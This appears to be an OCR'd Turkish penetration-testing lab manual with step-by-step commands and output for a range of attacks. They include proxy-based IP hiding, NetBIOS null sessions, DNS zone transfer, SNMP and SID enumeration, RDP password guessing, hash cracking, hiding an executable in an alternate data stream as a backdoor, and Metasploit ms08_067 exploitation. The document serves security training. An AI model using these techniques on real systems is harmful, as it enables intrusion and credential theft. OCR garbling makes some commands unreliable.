| UP |192.168.170.234 | 11:52:51:FA:1B:45 | |
| UP ]192.168.170.254 | 11:52:51:FA:1B:46 | |

16:43:49 > Discovery round completed in 4.795 seconds.




16:43:49 > Network 192.168.170.0/24 has 6/6 hosts up.




2.4: Uygulamalari sock/http proxy lizerinden calistirma

Amag: Nmap vb. Araclar proxy tizerinden ¢aligtirarak ip gizlemek

Lab Senaryosu: Sock/http proxy bulunur. /etc/proxychains.conf dosyasindan bulunan proxy girilir.
Uygulama proxychain tizerinden caligtirilir.

Kullanilan isletim sistemi:
- Kali Linux

Kullamilan Araclar:

- proxychain

Adimlar:

1.Adim

Internet iizerinden free proxy bulunur yada proxy satin alinir.

Last Update IP Address Country Connection Time Anon
8mins 218.97.194.221 81 M China ] -l HTTP High +KA
8mins 91.224.84.163 3128 = Ukraine L] HTTPS High +KA
8mins 178.18.197.82 3128 & Turkey ] HTTPS High +KA
2mins 31.173.74.73 8080 11 Romania L] HTTPS High +KA
2mins 190.98.162.22 8080 Z Argentina ] ] HTTPS High +KA
2mins 37.59.118.150 80 1 France ] ] HTTP High
2mins 117.135.250.133 80 @ China ] HTTP High +KA
2mins 72.21.73.130 10200 s USA ] ] socks4/5 High
2mins 91.121.181.168 80 1 France L] ] HTTP High
2.Adim

Ayar dosyasi olan /etc/proxychains.conf acilir ve icine proxy girilir. Http proxy icin http, https
proxy icin https, sock proxy icin socks4/5 tagi eklenir.

Komut: nano /etc/proxychains.conf

Ciktis:

nano /etc/proxychains.conf
[ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"

#socks4 127.0.0.1 9050




‘SOCKS5 72.21.73.130 10200

3.Adim
Uygulama ¢alistirirken proxychain ile ¢aligtirilir.
Komut: proxychains nmap -A 192.168.170.145

proxychains firefox



2.5: Zafiyet Taramasi

Amag: Hedef sistemin zafiyetlerini tespit etmek
Lab Senaryosu: Nessus araci ile hedef sistem taranir.
Kullanilan isletim sistemi:

- Kali Linux

- Windows XP

Kullamilan Araclar:

- nessus

Adimlar:

1.Adim

Kali iizerinde nessus caligtirilir.

Komut: /etc/init.d/nessusd start

2.Adim

Browserdan nessus arayiiziine erisilir. Erisim bilgileri kullanic1 adi: admin parola:coslat olarak
girilir.

Adres: https://localhost:8834

3.Adim

Tarama yapma icin New Scan butonuna basilir. Detayh tarama i¢in Advenced Scan secilir. Tarama
adi ve ip adresleri girilerek tarama islemi baslatilir.


https://localhost:8834/

3 - Servislerden Bilgi Alma
3.1: Netbios Null Session
Amac: Hedef sistemden null session ile bilgi almak

Lab Senaryosu: Hedef sistemdeki bilgisayar adlar1 alinir. Netbios null session acig1 kullanilarak
sistemden bilgi toplanir.

Kullanilan isletim sistemi:

- WindowsXP

- Windows7

Kullanilan Araclar:

- nbtstat

- net use

- Superscan

Admlar:

1. Adim

Hedef sistemden netbios ile uzak makine ad tablosu alinir.
Komut: nbtstat -A 192.168.170.149
Ciktisi:

C:\Users\Administrator.mordor>nbtstat -A 192.168.170.145

Yerel Ag Baglantisi:
Digum IpAdresi: [192.168.170.150] Kapsam Kimligi: []

NetBIOS Uzak Makine Ad Tablosu

Ad Tar Durum

HACKMESERVER <00> BENZERSIZ Kaydedildi
TESTLAB <00> GRUP Kaydedildi
TESTLAB <1C> GRUP Kaydedildi
HACKMESERVER <20> BENZERSIZ Kaydedildi
TESTLAB <1B> BENZERSIZ Kaydedildi

MAC Adresi = 11:52:51:FA:1B:44

2.Adim
Null session oturumu baglatilir.

Komut: net use \\192.168.170.149\IPC$ "" /u:""



Ciktisi:

C:\Users\Administrator.mordor>net use \\192.168.170.145\IPC$ "" /u:""
Komut basariyla tamamlandi.

3.Adim
Baglantinin bagarili olup olmadig: kontrol edilir.
Komut: net use

Ciktisi:

C:\Users\Administrator.mordor>net use
Yeni baglantilar animsanacak.
Durum Yerel Uzak Ag

Baglantisi k \192.168.170.145\IPC$  Microsoft Windows Network
Komut basariyla tamamlandi.

4.Adim
Superscan araci kullanilarak null session zafiyeti tespit edilen sistemden bilgi toplanur.

Komut: Masaiistiindeki araclar klasorii icerisindeki Superscan4.1 calistirilir. Windows Enumeration
sekmesine gidilir. Hostname/IP/URL kismina hedef sistem girilir ve enumerate butonuna basilir.

Ciktisi:

B SuperScan 41 =

Scan | Host and Service Discovery | Sean Options | Tools  Windows Enumeration | Apaut |

Hostname/IP/URL [132168.170145 Enumerate Optians.. Clear
Enumesation Type NetBIOS infq noon 182 168.170.145 ~
[ NelB10S Name Table
[ NULL Session 3
[] MAC Addresses HACKMESZRVER 00 TUNIQUE Workstation service name
[] workstation type TESTLAR 00 GROUP  Workstation service name
Q ¥ Users TESTLAB 1C GROUP Domein controeller name
- ] Groups HACKMESZIRVER 20 UNIQUE Server services name
P TESTLAE 18 UNIQUE Master browser name
(=] FRPC Endpaint Dump
t [ Accourt Policies MAC address 1: 00:0C:29:45:28:89
[ Sharss
E ¥ Domains Attempting & NULL session connection on 192.168.170.145
=5 [ Remote Time of D2y fyy17, 2cozson success ful to \\152.168.170 145\IPCS
-] Logon Sessions
I [ Drives 16817014
Trusted Domains
Sl [Eserices Workstation/ % 182_188.170.145
orkstation/server type on 152 188 170.145
[ Registy e
Users on 137.168.170.145
et
le Groups on 182 188.170.145
<@
g— REC endpoints on 192.168.170.145
v Entry 0
Interface: "12345678-1234-abcd-e£00-01234S67cEb” ver 1.0
Binding:  "neacn _ip_tep:1592.163.170.145[45158]"
00000000-0000-0000-0000-000000000000"
"897e2e55-9353-4376-5c9c-Ed22 77455227 ver 1.0
"neaen_ip tep:192.168.170.145(
Sbeled 85

Ready



3.2: DNS Sunucudan Bilgi Almak

Amag: Zone transfer ile dns kayitlarini cekmek

Lab Senaryosu: Hedef sistemin dns sunucusu iizerinden dns kayitlar1 alinir
Kullanilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- dnsenum

Adimlar:

1.Adim

Dnsenum araciligl ile hedef sistemin dns sunucusundan dns kayitlar1 alinmaya caligilir.
Komut: dnsenum coslat.com

Ciktis:

dnsenum coslat.com
Trying Zone Transfers and getting Bind Versions:

Trying Zone Transfer for coslat.com on ns1.coslat.com ...

coslat.com. 86400 IN SOA  coslat.com.
coslat.com. 86400 IN A 35.204.203.72
coslat.com. 86400 IN NS ns2.coslat.com.
coslat.com. 86400 IN NS ns1.coslat.com.
coslat.com. 86400 IN MX 10 portal.coslat.com.
cos2.coslat.com. 86400 IN A 10.10.11.111
biz.coslat.com. 86400 IN A 35.204.203.72

connect.coslat.com. 86400 IN A 35.204.203.72




3.3: SNMP ile Bilgi Almak
Amag: SNMP public string kullanarak hedef sistemden bilgi almak

Lab Senaryosu: SNMP protokoliindeki public key zafiyetinden yararlanilarak, hedef sistemden
bilgi alinir.

Kullanilan isletim sistemi:
- Kali Linux

Kullamilan Araclar:

- snmpwalk

Adimlar:

1.Adim

Snmpwalk araciligi ile hedef sistemden network hakkinda bilgi alinir. -c parametresi ile community
string, -v parametresi ile snmp versiyon bilgisi girilir.

Komut: snmpwalk -c public 35.204.203.72 -v 1
Ciktis:

is0.3.6.1.2.1.1.1.0 = STRING: "Broadband Residential Gateway"
i50.3.6.1.2.1.1.2.0 = OID: is0.3.6.1.3.9999
i50.3.6.1.2.1.1.3.0 = Timeticks: (9141100) 1 day, 1:23:31.00
i50.3.6.1.2.1.1.4.0 = STRING: "support@sagem.com"
is0.3.6.1.2.1.1.5.0 = STRING: "F@st 1500"
is0.3.6.1.2.1.1.6.0 = STRING: "France"
is0.3.6.1.2.1.1.7.0 = INTEGER: 79

is0.3.6.1.2.1.2.1.0 = INTEGER: 4

is0.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
is0.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
is0.3.6.1.2.1.2.2.1.1.4 = INTEGER: 4
is0.3.6.1.2.1.2.2.1.1.12 = INTEGER: 12
is0.3.6.1.2.1.2.2.1.2.1 = STRING: "LOCAL_LOOPBACK"
is0.3.6.1.2.1.2.2.1.2.2 = STRING: "LAN1"
is0.3.6.1.2.1.2.2.1.2.4 = STRING: "ATM1"
is0.3.6.1.2.1.2.2.1.2.12 = STRING: "PPPoE1"
is0.3.6.1.2.1.2.2.1.3.1 = INTEGER: 24
i50.3.6.1.2.1.2.2.1.3.2 = INTEGER: 6
i50.3.6.1.2.1.2.2.1.3.4 = INTEGER: 6
is0.3.6.1.2.1.2.2.1.3.12 = INTEGER: 0
is0.3.6.1.2.1.2.2.1.4.1 = INTEGER: 1500
i50.3.6.1.2.1.2.2.1.4.2 = INTEGER: 1500
i50.3.6.1.2.1.2.2.1.4.4 = INTEGER: 1500
is0.3.6.1.2.1.2.2.1.4.12 = INTEGER: 0
is0.3.6.1.2.1.2.2.1.5.1 = Gauge32: 0
i50.3.6.1.2.1.2.2.1.5.2 = Gauge32: 100000000
i50.3.6.1.2.1.2.2.1.5.4 = Gauge32: 8000000
is0.3.6.1.2.1.2.2.1.5.12 = Gauge32: 8000000
i50.3.6.1.2.1.2.2.1.6.1 = Hex-STRING: 00 00 00 00 00 00




is0.3.6.1.2.1.2.2.1.6.2 = Hex-STRING: 00 60 4C 42 72 C6
i5s0.3.6.1.2.1.2.2.1.6.4 = Hex-STRING: 00 60 4C 42 72 C7
i5s0.3.6.1.2.1.4.20.1.1.127.0.0.1 = IpAddress: 127.0.0.1
i50.3.6.1.2.1.4.20.1.1.192.168.2.1 = IpAddress: 192.168.2.1
is0.3.6.1.2.1.4.20.1.2.127.0.0.1 = INTEGER: 1
is0.3.6.1.2.1.4.20.1.2.192.168.2.1 = INTEGER: 2
is0.3.6.1.2.1.4.20.1.3.127.0.0.1 = IpAddress: 255.255.255.255
is0.3.6.1.2.1.4.20.1.3.192.168.2.1 = IpAddress: 255.255.255.0
is0.3.6.1.2.1.4.20.1.4.127.0.0.1 = INTEGER: 1
is0.3.6.1.2.1.4.20.1.4.192.168.2.1 = INTEGER: 1
is0.3.6.1.2.1.4.20.1.5.127.0.0.1 = INTEGER: 18024
is0.3.6.1.2.1.4.20.1.5.192.168.2.1 = INTEGER: 18024
is0.3.6.1.2.1.4.22.1.1.2.192.168.2.2 = INTEGER: 2
is0.3.6.1.2.1.4.22.1.1.2.192.168.2.3 = INTEGER: 2
i50.3.6.1.2.1.4.22.1.2.2.192.168.2.2 = Hex-STRING: 7C 05 07 03 86 FE
i50.3.6.1.2.1.4.22.1.2.2.192.168.2.3 = Hex-STRING: 00 1921 E8 1C 20
i50.3.6.1.2.1.4.22.1.3.2.192.168.2.2 = IpAddress: 192.168.2.2
i50.3.6.1.2.1.4.22.1.3.2.192.168.2.3 = IpAddress: 192.168.2.3
is0.3.6.1.2.1.4.22.1.4.2.192.168.2.2 = INTEGER: 3
is0.3.6.1.2.1.4.22.1.4.2.192.168.2.3 = INTEGER: 3
is0.3.6.1.2.1.6.13.1.1.192.168.2.1.80.0.0.0.0.0 = INTEGER: 1
i50.3.6.1.2.1.6.14.0 = Counter32: 607

i50.3.6.1.2.1.6.15.0 = Counter32: 8

i50.3.6.1.2.1.7.1.0 = Counter32: 5475

is0.3.6.1.2.1.7.2.0 = Counter32: 1

is0.3.6.1.2.1.7.3.0 = Counter32: 0

i50.3.6.1.2.1.7.4.0 = Counter32: 112326

is0.3.6.1.2.1.11.1.0 = Counter32: 838

is0.3.6.1.2.1.11.2.0 = Counter32: 838

is0.3.6.1.2.1.11.3.0 = Counter32:
is0.3.6.1.2.1.11.4.0 = Counter32:
is0.3.6.1.2.1.11.5.0 = Counter32:
is0.3.6.1.2.1.11.6.0 = Counter32:
is0.3.6.1.2.1.11.8.0 = Counter32:
is0.3.6.1.2.1.11.9.0 = Counter32: 582
is0.3.6.1.2.1.11.10.0 = Counter32: 0
is0.3.6.1.2.1.11.11.0 = Counter32: 0
is0.3.6.1.2.1.11.12.0 = Counter32: 0
is0.3.6.1.2.1.11.13.0 = Counter32: 846
is0.3.6.1.2.1.11.14.0 = Counter32: 0
is0.3.6.1.2.1.11.15.0 = Counter32: 9
is0.3.6.1.2.1.11.16.0 = Counter32: 840
is0.3.6.1.2.1.11.17.0 = Counter32:
is0.3.6.1.2.1.11.18.0 = Counter32:
i50.3.6.1.2.1.11.19.0 = Counter32:
i5s0.3.6.1.2.1.11.20.0 = Counter32:
is0.3.6.1.2.1.11.21.0 = Counter32:
is0.3.6.1.2.1.11.22.0 = Counter32:
is0.3.6.1.2.1.11.24.0 = Counter32:
is0.3.6.1.2.1.11.25.0 = Counter32:
is0.3.6.1.2.1.11.26.0 = Counter32:
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is0.3.6.1.2.1.11.27.0 = Counter32: 0
is0.3.6.1.2.1.11.28.0 = Counter32: 862
is0.3.6.1.2.1.11.29.0 = Counter32: 0
is0.3.6.1.2.1.11.30.0 = INTEGER: 1
End of MIB

3.4: Kullanici Hesaplarinin Belirlenmesi

Amag: Windows isletim sistemlerindeki kullanicilar1 belirlemek

Lab Senaryosu: ilk olarak bir kullanicimin SID'si belirlenir. Daha sonra RID degerleri degistirilerek
kullanici isimleri belirlenir.

Kullanilan isletim sistemi:
- Windows7

Kullamlan Araclar:

- sid2user

- user2sid

- cain and abel

Adimlar:

1.Adim

Komut satirindan C:\SID dizinine gidilir. Sistemde olabilecek bir isim tahmin edilerek o ismin
user2sid araci ile SID'si 6grenilir. Guest hesab1 windows isletim sistemlerinde genel olarak bulunan
bir hesaptir.

Komut: cd C:\SID
user2sid \\192.168.170.150 guest
Ciktis:

C:\SID>user2sid.exe \\192.168.170.150 guest
S-1-5-21-2298827253-392484555-391875928-501
Number of subauthorities is 5

Domain is mordor

Length of SID in memory is 28 bytes

Type of SID is SidTypeUser

2.Adim

Ilk adimda bulunan SID'de RID degeri degistirilerek diger kullanici isimleri 6grenilir. Bulunan sid

€« »

degeri en soldaki 5 rakamindan itibaren “-” isareti yerine bosluk koyularak, istenilen RID degeri

yazilip sid2user aracina verilir. Genelde 500 RID degeri admin hesabini verir.
Komut: sid2user \\192.168.170.150 5 21 2298827253 392484555 391875928 500
Ciktis:


../Library/Containers/com.apple.mail/C:/SID
../Library/Containers/com.apple.mail/C:/SID

C:\SID>sid2user \\192.168.170.150 5 21 2298827253 392484555 391875928 500
Name is Administrator

Domain is mordor

Type of SID is SidTypeUser

3.Adim

RID degeri istenilen araliklarda otomatik olarak degistirilerek kullanici adlar1 sorgulanir. Asagidaki
komutta RID degeri 500'den 510'a kadar 1'er attirilarak kullanici sorgusu yapilir.

Komut: for /L %i in (500 1 520) do sid2user.exe \\192.168.170.150 5 21 229882725 3 392484555
391875928 %i;

Ciktisi:

C:\SID>for /L %1 in (500 1 510) do sid2user.exe \\192.168.170.150 5 21 229882725
3 392484555 391875928 %i;

C:\SID>sid2user.exe \\192.168.170.150 5 21 2298827253 392484555 391875928 500;

Name is Administrator

Domain is mordor

Type of SID is SidTypeUser

C:\SID>sid2user.exe \\192.168.170.150 5 21 2298827253 392484555 391875928 501;
Name is Guest

Domain is mordor

Type of SID is SidTypeUser

C:\SID>sid2user.exe \\192.168.170.150 5 21 2298827253 392484555 391875928 502;
LookupSidName failed - no such account
C:\SID>sid2user.exe \\192.168.170.150 5 21 2298827253 392484555 391875928 503;
LookupSidName failed - no such account
C:\SID>sid2user.exe \\192.168.170.150 5 21 2298827253 392484555 391875928 504;
LookupSidName failed - no such account
C:\SID>sid2user.exe \\192.168.170.150 5 21 2298827253 392484555 391875928 505;
LookupSidName failed - no such account
C:\SID>sid2user.exe \\192.168.170.150 5 21 2298827253 392484555 391875928 506;
LookupSidName failed - no such account
C:\SID>sid2user.exe \\192.168.170.150 5 21 2298827253 392484555 391875928 507;
LookupSidName failed - no such account
C:\SID>sid2user.exe \\192.168.170.150 5 21 2298827253 392484555 391875928 508;
LookupSidName failed - no such account
C:\SID>sid2user.exe \\192.168.170.150 5 21 2298827253 392484555 391875928 509;
LookupSidName failed - no such account
C:\SID>sid2user.exe \\192.168.170.150 5 21 2298827253 392484555 391875928 510;
LookupSidName failed - no such account

4.Adim

Masaiistiindeki araglar klasortii icerisinde bulunan cain araci ¢cahistirilir. Network sekmesine tiklanir.
Microsoft windows network'e basilip ordan sirasiyla domain ve bilgisayar ad1 secilir. Oradan
Users'a basilarak onceki adimlarda yapilan islemler otomatik olarak yapilip, kullanicilar



listelenebilir.

Ciktis:

File View Configure Tools Help
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[& Decoders | ¥ Network [E Sniffer [of Cracker [€0 Traceroute

CCOU [ Wireless |Ep Query

1) HACKMESERVER
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== MORDOR
& mordon\Admini

€ Users
OEM 5

Entire Network ~ [user [ Fullname [ comment [ s Req. Pass. Cha... | Pass
~A* Microsoft Windows Network A Administrator a No Yes
-4 TESTLAB | Guest 1-5-21 434 Jt L Ves Ves

= All Computers € kurban §1-5-21-2208627253- 392484555 391875928-1000  Yes Yes

& AppleFile Servers =
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3.5: Servis Bilgisinin Alinmasi

Amag: Portlardan calisan servisler hakkinda bilgi almak

Lab Senaryosu: Hedef sistemin portuna telnet baglantisi yapilir. Baglanilan portla iletisime
gecilerek bilgi alinmaya caligilir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- telnet

Adimlar:

1.Adim

coslat.com'un 80 portuna telnet baglantisi yapilir.
Komut: telnet www.coslat.com 80

Cikusi:

telnet www.coslat.com 80
Trying 35.204.203.72 ...
Connected to www.coslat.com.

Escape character is 'A]".

2.Adim

Standart bir get istegi yapilir. Dénen cevaptan sunucuyla ve servisle ilgili bilgi alinir.
Komut: GET / HTTP/1.0

Ciktis:

GET / HTTP/1.0

HTTP/1.1 200 OK

Date: Mon, 28 Dec 2015 13:41:22 GMT
Server: Apache/2.2.22 (Ubuntu)
Last-Modified: Thu, 07 Jul 2011 16:10:20 GMT
ETag: "13ec0c-1-4a77cf4205e7a"
Accept-Ranges: bytes

Content-Length: 1

Vary: Accept-Encoding

Connection: close

Content-Type: text/html



http://www.coslat.com/

4 - Sistemlere Giris
4.1: Sifre Deneme
Amac: Uzak erisime agik servislere sifre denemesi yapmak

Lab Senaryosu: Hedef sistem ip'si, sifrede denenecek protokol, port, kullanici adi1 ve parola verileri
girilir ve sifre deneme baglatilir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamlan Araclar:

- xhydra

Adimlar:

1.Adim

Sifre denemek icin kullanilacak olan hydra araci agilir.

Komut: xhydra

- xHydra 4 -0 X
Ciktisi: Ok
Target | Passwords | Tuning  Specific  Start
Target
@ Single Target [127.0.01
() Target List [
[ prefer IPve
Port lo .
Protocal |asterisk v

Qutput Options

[ Use S5L [ Be Verbose
] show Attempts "] Debug
[C] COMPLETE HELP [ Service Module Usage Details

nydra -l yourname -p yourpass -t 16 127.0.0.1 asterisk

2.Adim

Target sekmesinde single target béliimiinden tek bir ip yada, target list boliimiinden bir hedef ip
listesi verilebilir. Yine target sekmesinden sifre denemesi yapilacak protokol ve port secilir. Port 0
olarak birakilirsa, secilen protokoliin varsayilan portuna deneme yapilir.

ClktlSl’ - xHydra 4+ - OX
M Bk
Target | Passwords | Tuning | Specific  Start
Target
@ Single Target [192.168.170.145
() Target List [
[] Prefer IPV6
Port 3389 |
Protacol [rdp v

Qutput Options

[J Use SSL [7] Be Verbose
(] show Attempts [ Debug
["] COMPLETE HELP [ Service Module Usage Details

hydra -s 3389 -| yourname -p yourpass -t 16 192.168.170.145 rdp




3.Adim

Password sekmesinde username béliimiinden kullanici adi yada username list béliimiinden kullanici
ad listesi ve password béliimiinden parola yada password list boliimiinden parola listesi girilir.

Ciktisi:

4.Adim

- xHydra 4 _ 0O X
B ck
Target | Passwords | Tuning | Specific | Start
Username
® Username TESTLAB\Administrator
() Username List
] Loop around users
Password
@® Password
() Password List
) Generate 1:1:a

Colon separated file

[7] Use Colon separated file

[] Try login as password | Try empty password [ | Try reversed login

hydra -s 3388 -| TESTLAB\Administrator -p yourpass -t 16 192.168.170....

Start sekmesinde start butonuna basilarak sifre denemesi baslatilir.

Cikusi:

- xHydra 4+ -0 X
B ck

Target Passwords Tuning  Specific | Start

Qutput
Hydra v8.1 (c) 2014 by wan Hauser/THC - Please do not use in military or secret service organizations, or for

Hydra (http:/fwww.thc.orgfthc-hydra) starting at 2015-12-29 15:56:33

[DATA] max 1 task per 1 server, overall 64 tasks, 1 login try (l:1/p:1), ~0 tries per task

[DATA] attacking service rdp on port 3389

[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel ¢
[3389][rdp] host: 192.168.170.145 login: TESTLAB\Administrator password: asd@qwell
<finished>

Start Stop Save Output Clear Output

hydra -s 3389 -| TESTLAB\Administrator -p asd@qwell -t 16 192,168.170.145 rdp



4.2: Sozluk Olusturma

Amag: Parola kirma islemlerinde kullanmak icin parola listesi olugturmak
Lab Senaryosu:

Kullanilan isletim sistemi:

- Kali Linux

Kullanilan Araclar:

- crunch

Adimlar:

1.Adim

Olusturulacak sozliikteki kelimelerin minimum kag karakterden olusacagi, maksimum kag
karakterden olusacagi, sozliikte hangi karakterlerin yer alacag girilir ve bir sozliik olusturulur.

Komut: crunch <min> <max> <karakterler> -o <dosya adi>
crunch 5 6 coslat16 -o /root/Masaiistii/sozluk/cikti.txt

Cikti:

crunch 5 6 coslat16 -o /root/Masaiistii/sozluk/cikti.txt
Crunch will now generate the following amount of data: 2031616 bytes
1 MB

0GB

0TB

0PB

Crunch will now generate the following number of lines: 294912
crunch: 100% completed generating output

2.Adim
Karakterleri elle vermek yerine karakter setleride kullanilabilir.
Komut: crunch <min> <max> -f <karakter setlerinin yolu> <karakter seti> -o <dosya adi>

crunch 5 6 -f /usr/share/crunch/charset.Ist hex-lower -o /root/Masaiistii/sozluk/cikti.txt

Cikti:

crunch 5 6 -f /usr/share/crunch/charset.Ist hex-lower -o /root/Masaiistii/sozluk/cikti2.txt
Crunch will now generate the following amount of data: 123731968 bytes

118 MB

0GB

0TB

0PB

Crunch will now generate the following number of lines: 17825792

crunch: 100% completed generating output




4.3: Yerel Sistem Sifrelerini Ele Gec¢irmek

Amag: Yerel bir kullanic1 olarak sistem sifrelerini ele gecirmek

Lab Senaryosu: Kullanic1 Hashleri sistemden alinarak, hash kirma iglemi yapilir.

Kullanilan isletim sistemi:
- Windows 7

Kullanilan Araclar:

- cain and abel

Adimlar:

1.Adim

Masaiistiindeki araglar klasorii icerisinde bulunan cain araci ¢alistirilir. Cracker sekmesine gidilir.

Yukaridaki mavi butona(add to list) basilir. Gelen pencereden “Import Hashes from local system”

secilerek, Next butonuna basilir.

Cikti: Kullanic1 adlari ve hashler listelenir.

=
File View Configure Tools Help

SR e RBENEY +yRLVEDEMa0%2 @7 0
|§, Decoders IQ Network |m Sniffer |@? Cracker I@ Traceroute |m ccou I[(b')] Wireless Ia) Query |

&, PWL files (0)
-.JHl Cisco10S-MD5 H

T Cisco PLX-MDS5 Hi
-5 APOP-MDS5 Hashi
&9 CRAM-MD3 Hash _
~+p OSPF-MDS Hashe ~
.4 RIPv2-MDS5 Hashe

b VRRP-HMAL Has
[l VINC-3DES (0)

..md MD2 Hashes (0)

md 11D4 Hashes (0)
- 1DS Hashes (0)
.58 SHA-1 Hashes (0)
- 34A SHA-2 Hashes (0)
... s RIPEMD-160 Hask

@j Kerb5 Prefuth Ha
% Radius Shared-Ke
-0 [KE-PSK Hashes ({
‘%) MSSQL Hashes (0 4 l

6 Cracker = | User Name ‘ LM Password | <§ ‘ MNT Password | LM Hash | MNT Hash challenge Type MNote
@ LM & NTLM Hast | | 3¢ Administrator * empty * * AAD3B435B51.. EBEGGGELCFDA.. LM & NTLM
-l NTLM\2 Hashes ( T Guest *empty * * *empty * AAD3B435B51..  31DGCFEODIG.. LM & MTLM
.. MS-Cache Hashe! X kurban *empty * * AAD3B435B51.. EBEGGGELCFDM.. LM & MTLM

-5 MySQL Hashes [0 =
f‘%)nyq = ESE' S LM & NTLM Hashes

http:/fwww.oxid.it

2.Adim

Hashi kirilmak istenen kullanicinin iizerine sag tiklanir. Kirllma yéntemi secilir. Sozliik vererek

sozliikten hash kirma denemeleri i¢in “Dictionary Attack”, olasi tiim kombinasyonlar1 deneyerek

kirmak igin “Brute-Force Attack”, Rainbow tablosu kullanarak kirmak iginse “Cryptanalysis

Attack” secilir.



Cikti:

-

Brute-Force Attack

(=

— Charset —Paszword length———
. 1 =
' Predefined Min =l
IaI:u:defghiiklmnopqr&tuvwwz ;I Max IE LI
© Cugtom — Start from
— k.eyspace — Current pazsword
| 321272406 |
— K.ey Rate — Time Left

FPlaintext of EBE6EREICFD412358A0977FEF42C7600 1= coslat
Attack =topped!
1 of 1 hashes cracked

Start Exit




4.4: Rainbow Tablosu Olusturmak

Amagc: Hash kirma iglemi i¢in rainbow tablosu olusturmak

Lab Senaryosu: Olusturacagimiz rainbow tablosununun igerecegi karakterler ve boyutlar
belirlenerek rainbow tablosu olusturulur.

Kullanilan isletim sistemi:
- Windows 7

Kullamilan Araclar:

- winrtgen

Adimlar:

1.Adim

Masaiistiindeki araglar klasorii icerisindeki winrtgen klasoriine girilir. Winrtgen.exe calistirilir. Yeni
bir rainbow tablosu olusturmak icin, add table butonuna basilir. Hash béliimiinden olusturulacak
hash tiirii, min len boliimiinden olusturalacak rainbow tablosunundaki hashlerin minumum kag
karakterden olusacagl, max len béliimiinden olusturalacak rainbow tablosunundaki hashlerin
maksimum kag karakterden olusacagl, charset boliimiinden karakter seti secilir. Ok butonuna
basilarak hash olusturma islemi baslatilir.

Cikti:
Rainbow Table properties @
Hash Min Len Max Len- — Index Chain Len Chain Count M of tables
||| 1 7 a 2400 40000000 1
Charset
| loweralpha j Edit

|abcdefghiiklmnopqrstuvwxyz

Table properties

Key space: 8353032682 keys

Digk space: 610.35 ME

Success probability: 0.978038 [97.80%)

Benchmark Optional parameter
Hash zpeed: Adrminiztrator
Step zpeed:

Table precanmputation time:
Total precomputation time:
Max cryptanalysis time:

Benchmark )8 | Catricel




4.5: ADS ile Veri Gizleme

Amag: Verileri gizlemek

Lab Senaryosu: Calistirilabilir bir dosya metin belgesinin arkasina saklanir.
Kullanilan isletim sistemi:

- Windows 7

Admlar:

1.Adim

calc.exe C:\Windows\System32 dizininden C:\test dizinine kopyalanir. Test dizinine bir metin
belgesi olusturulur.

Komut: cd C:\test

notepad metin.txt

2.Adim

Calc.exe type komutu kullanilarak metin belgesinin icerisine saklanir.
Komut: type C:\test\calc.exe > C:\test\metin.txt:calc.exe

3.Adim

Saklanan calistirilabilir dosyay: calistirmak icin bir kisayol olusturulur.
Komut: mklink backdoor.exe metin.txt:calc.exe

4.Adim

Olusturulan backdoor kisayolu ¢ahistirilir.

Komut: backdoor.exe

Cikti:

@\'/v‘ » Bilgisayar » Yerel Disk (C) b test ~[4]

Dizenle « Kitaphga ekle « Bununla paylag v Yeni klasor
I Sik Kuillandanlar Ad Degigtirme tarihi Tar Boyut
& Kargidan Yiklemeler x| backdoor.exe

Bl Masatistd | metinbt

=il Son Yerler

4 Kitaphklar Bnetici: C:AWi =\ Sy | Hesap Makinesi
| Gordndm  Diiz ¥
Belgeler i es notlepailinet b bk i
& Mk
IC:ntest>type C:istestwcalc.exe » C:intest\metin|
=] Resimler
& vid C:ntestdmklink backdoor.exe metin.txticalc.ex
Hieo o lugturulan semholik baglanti: backdoor.exe <
M Bilgisayar G sii siindeki hirimin etiketi yok.
Mumarasi: 883E-8551

&L, Yerel Disk ()
C:ntest dizini
€W A 14.091.2016 17:45 <DIR> -
" AS ‘o1 : <DIR> i
<SYMLINK> backdoor.
?76.192 calc.exe
6 metin.txt

3 Dosya ?76.198 hayt
2 Dizin  16.189.358.912 hayt

l{4.97.2009 @3:14
a4 @1.2016 17:42

C:N\test >backdoor.exe

C:ntest?



../Library/Containers/com.apple.mail/C:/test

4.6: Steganography

Amag: Bir resmin arkasina metin gizlemek

Lab Senaryosu: Resim stego programiyla agilir. Igerisine metin yazilarak yada metin belgesi
eklenerek kaydedilir.

Kullanilan isletim sistemi:
- Windows 7

Kullamilan Araclar:

- Stego

Adimlar:

1.Adim

Masaiistiindeki araclar klasorii icerisindeki stego programi calistirilir. Open image butonuna
basilarak metinin gizlenecegi resim secilir.

2.Adim

Sag taraftaki boliime metin girilir. Ya da open text diyerek metin belgesi girilebilir. Hide Text
butonuna basilarak metin resmin icerisine saklanir.

Steganography [Text File

ictul ile
Open Image Hide Text Get Text Open Text

3.Adim

Open image butonuna basilip metin gizli resim acilarak, gizli metin goriintiilenebilir.



5 — Metasploit
5.1: Exploit Kullanimi
Amag: Zafiyeti bulunan bir servise exploit ile saldirmak

Lab Senaryosu: Zafiyetli sisteme uygun exploit segilir. Gerekli parametreler girilip exploit islemi
gerceklestirilir.

Kullanilan isletim sistemi:

- Kali Linux

- Windows XP

Kullanilan Araclar:

- msfconsole

Adimlar:

1.Adim

Kullanilacak olan exploit segilir.

Komut: use exploit/windows/smb/ms08_067_netapi

Ciktisi:

use exploit/'windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) >

2.Adim

Info komutu ile exploit hakkinda bilgi aliabilir. Payload secilmek isteniyorsa, show payloads
komutu ile exploit'e uygun payloadlar listelenir.

Komut: show payloads

Ciktisi:

show payloads
Compatible Payloads

Name Disclosure Date Rank Description

generic/custom normal Custom Payload

generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline

generic/shell_reverse_tcp normal Generic Execute net user /ADD

windows/messagebox normal Windows MessageBox

windows/meterpreter/bind_hidden_ipknock_tcp normal Windows Meterpreter (Reflective Injection),
Hidden Bind Ipknock TCP Stager

windows/meterpreter/bind_hidden_tcp normal Windows Meterpreter (Reflective Injection),

Hidden Bind TCP Stager
windows/meterpreter/bind_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Bind




IPv6 TCP Stager (Windows x86)
windows/meterpreter/bind_ipv6_tcp_uuid

IPv6 TCP Stager with UUID Support (Windows x86)
